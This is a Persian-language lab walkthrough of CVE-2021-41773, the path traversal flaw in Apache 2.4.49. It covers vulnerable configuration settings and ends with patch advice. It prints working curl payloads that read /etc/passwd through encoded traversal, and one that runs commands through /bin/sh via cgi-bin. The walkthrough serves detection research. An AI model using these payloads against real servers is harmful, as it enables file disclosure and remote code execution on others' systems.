پلتفرم آسیبپذیر: سرورهایی که بر روی آنها نسخه آپاچی 2.4.49 نصب است.
تاریخ ارائه وصله امنیتی: 2021-10-05 نسخه 2.4.50
نوع آسیبپذیری:path traversal
دسترسی حاصل از استفاده از این آسیبپذیری: unauthenticated remote code execution(در صورت فعال بودن مد CGI)
مقدمه
نسخه 2.4.49 آپاچی به منظور بهبود url validation ارائه شده، اما همین تغییرات به وجود آمده در این نسخه سبب ایجاد آسیبپذیری CVE–2021–41773 گردیده است.
این آسیبپذیری از نوع path traversal میباشد، بدین معنا که مهاجم امکان دسترسی به مسیرها و پوشههای وبسرور و مسیرهای دیگر را، در سمت کاربر (Client-Side) به دست میآورد.
لازم به ذکر است در صورتی که قابلیت “Require all denied” در تنظیمات پیکربندی آپاچی (در این نسخه) فعال نباشد امکان دور زدن URL validation با استفاده از character encoding فراهم میشود و در صورت فعال بودن مد cgi از این آسیبپذیری برای دسترسی از راه دور (rce) نیز میتوان استفاده کرد.
نحوه تست وجود آسیبپذیری
سیستم عاملهای استفاده شده در این سناریو:
- ubuntu 18.04
- ویندوز ۱۰
با نصب آپاچی نسخه 2.4.49 و رفتن به مسیر تنظیمات (در سناریو انجام شده مسیر /usr/local/apache2.4.49/conf/httpd.conf) آن در ابتدا از بخش DocumentRoot تنظیمات را همانند تصویر زیر از حالت پیش فرض ”Require all denied’ به ”Require all granted’ تغییر میدهیم:
در ادامه برای فعالسازی مد cgi برای دسترسی اجرای کد نیز در همان بخش تنظیمات دسترسی را به “Require all granted” تغییر میدهیم:
با اعمال دو تغییر فوق این سرور آسیبپذیر میباشد.
شیوه نصب bash لینوکس در ویندوز
به منظور تست آسیبپذیری فوق از آنجایی که هدف بررسی امضاهای شبکه گرفته شده از این سناریو است لازم بود تا از یک سیستم ویندوزی به عنوان مهاجم استفاده شود اما برای اینکه دستورات استفاده شده برای اجرای سناریو با استفاده از curl که در سایت مرجع انجام شده و curl به صورت پیش فرض در ویندوز وجود ندارد، ابتدا با مراجعه به https://store.rg-adguard.net/ و انتخاب گزینه productid میتوان برنامههای موجود در microsoft store را به صورت مستقیم دانلود و نصب کرد(pid مربوط به bash لینوکس در سایت مایکروسافت در زمان نوشتن این صفحه برابر با 9N9TNGVNDL3Q میباشد.) پس از دانلود و نصب فایل مدنظر بر روی ویندوز میتوان از طریق ویندوز دستورات bash را اجرا کرد.
∗ تذکر: شیوههای دیگری نیز برای اجرای این دستور با هدف اصلی اجرای کد مخرب قابل استفاده است.
در ادامه برای بررسی اینکه آیا یک سرور حاوی این آسیبپذیری میباشد یا خیر میتوان از دستور زیر استفاده کرد:
curl -v –path-as-is http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
در خط فوق منظور از target همان سرور آسیبپذیر است.
تصویر زیر خروجی دستور فوق را که از سیستم ویندوز به اوبونتو آسیبپذیر زده شده نشان میدهد:
همانطور که در تصویر فوق مشخص است با اجرای دستور نوشته شده، محتویات مسیر /etc/passwd از سرور 172.16.152.240 که آپاچی آسیبپذیر بر روی آن نصب است قابل مشاهده شد.
این روش دور زدن که همان path traversal است، امکان دسترسی به فایلها و مسیرهایی که خارج از مسیر اصلی وب ذخیره شدهاند را برای کاربر مهیا میسازد.
از جمله دستورهایی که در سناریو فوق به صورت موفق مسیر /etc/passwd سرور قربانی را که مشخصات مربوط به هر کاربر در لینوکس میباشد برمیگرداند: ( × تذکر: این سناریو صرفا یک مثال از نحوه عملکرد آسیبپذیری را نمایش میدهد ).
به جای url encoding وارد شده در تصویر فوق میتوان از encodingهای موجود در دستورات زیر نیز استفاده کرد:
curl -v –path-as-is http://172.16.152.240:80/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl -v –path-as-is http://172.16.152.240:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -v –path-as-is http://172.16.152.240:80/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
برای اجرای rce لازم است تا در تنظیمات پیکربندی آپاچی تغییر ایجاد شده و mod_cgi که به صورت پیش فرض غیر فعال است فعال شود برای اینکار تنظیمات زیر در پیکربندی اضافه میشود:
برای تست عملکرد این آسیبپذیری میتوان از دستور زیر استفاده کرد:
curl ‘http://<Target>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -d ‘A=|echo;id’ -vv
نتیجه خروجی حاصل:
نحوه وصله آسیبپذیری
به روزرسانی آپاچی به آخرین نسخه ارائه شده.